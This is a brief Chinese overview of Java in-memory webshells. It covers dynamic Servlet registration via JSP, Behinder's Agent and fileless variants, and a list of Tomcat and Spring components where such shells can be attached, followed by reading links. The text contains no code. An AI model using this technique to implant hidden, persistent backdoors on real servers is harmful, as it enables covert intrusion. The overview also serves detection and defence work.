## 常见 Java 内存马
在 Java 中 webshell 常见的后缀有 jsp 和 jspx。根据 Servlet 的定义(这部分的知识强烈推荐:[Head First Servlets and JSP](https://www.amazon.com/Head-First-Servlets-JSP-Certified/dp/0596516681)),JSP 本质就是一个 Servlet,它提供了独特的 entrypoint 用于访问。因此一开始大家最常打的内存马就是 Servlet 内存马,通过 JSP 获取 request 拿到 ServletContext 进行 Servlet 的动态注册。
冰蝎工具后来提供了 Java Agent 内存马实现,使得内存马技术得到了广泛传播。
**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。
Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 ListenerTomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、InterceptorSpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛。
从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
## 延伸阅读
- [Shell 中的幽灵王者 — JAVAWEB 内存马【认知篇】](https://www.4hou.com/posts/zlkq)
- [JAVA 内存马的“一生”](https://xz.aliyun.com/news/10451)
- [一文看懂内存马](https://www.freebuf.com/articles/web/274466.html)